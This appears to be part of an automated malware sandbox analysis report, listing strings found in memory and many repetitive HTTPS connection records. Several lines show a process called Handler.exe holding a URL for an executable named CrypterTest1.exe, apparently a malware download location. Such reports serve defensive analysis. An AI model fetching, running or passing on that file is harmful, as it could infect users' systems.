Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Q
Source: chrome.exe, 00000007.00000003.2216806923.00001B0C01084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000007.00000003.2216806923.00001B0C01084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt
Source: Handler.exe, 00000001.00000002.2667841600.00000000046A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/
Source: Handler.exe, 00000001.00000002.2661407306.0000000001418000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/CrypterTest1.exe
Source: Handler.exe, 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yachtingiturkey.com/CrypterTest1.exe#m~

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50502
Source: unknown	Network traffic detected: HTTP traffic on port 50360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50503
Source: unknown	Network traffic detected: HTTP traffic on port 50578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50506
Source: unknown	Network traffic detected: HTTP traffic on port 50417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50505
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50507
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50509
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 50359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50512
Source: unknown	Network traffic detected: HTTP traffic on port 50634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50519
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50518
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50510
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50526
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50529
Source: unknown	Network traffic detected: HTTP traffic on port 50507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50520
Source: unknown	Network traffic detected: HTTP traffic on port 50337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50522
Source: unknown	Network traffic detected: HTTP traffic on port 50612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50521
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 50335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50337
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50579
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50339
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50571
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50573
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50575
Source: unknown	Network traffic detected: HTTP traffic on port 50632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50577
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50576
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50580
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50589
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50582
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50581
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50583
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 50339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50585
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50587
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50591
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50590
Source: unknown	Network traffic detected: HTTP traffic on port 50512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50358
Source: unknown	Network traffic detected: HTTP traffic on port 50609 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50593
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50592
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50595
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50597
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50596
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50357
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50599
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50356
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50598
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50360
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50367
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50370
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50538
Source: unknown	Network traffic detected: HTTP traffic on port 50571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50531
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50530
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50532
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50549
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50540
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50543
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50557
Source: unknown	Network traffic detected: HTTP traffic on port 50384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50550
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50553
Source: unknown	Network traffic detected: HTTP traffic on port 50619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50555
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50554
Source: unknown	Network traffic detected: HTTP traffic on port 50630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 50503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50328
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50569
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50562
Source: unknown	Network traffic detected: HTTP traffic on port 50593 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50561
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50566
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50565
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 50617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50497
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50499
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 50639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 50596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50279
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50281
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50605 -> 443
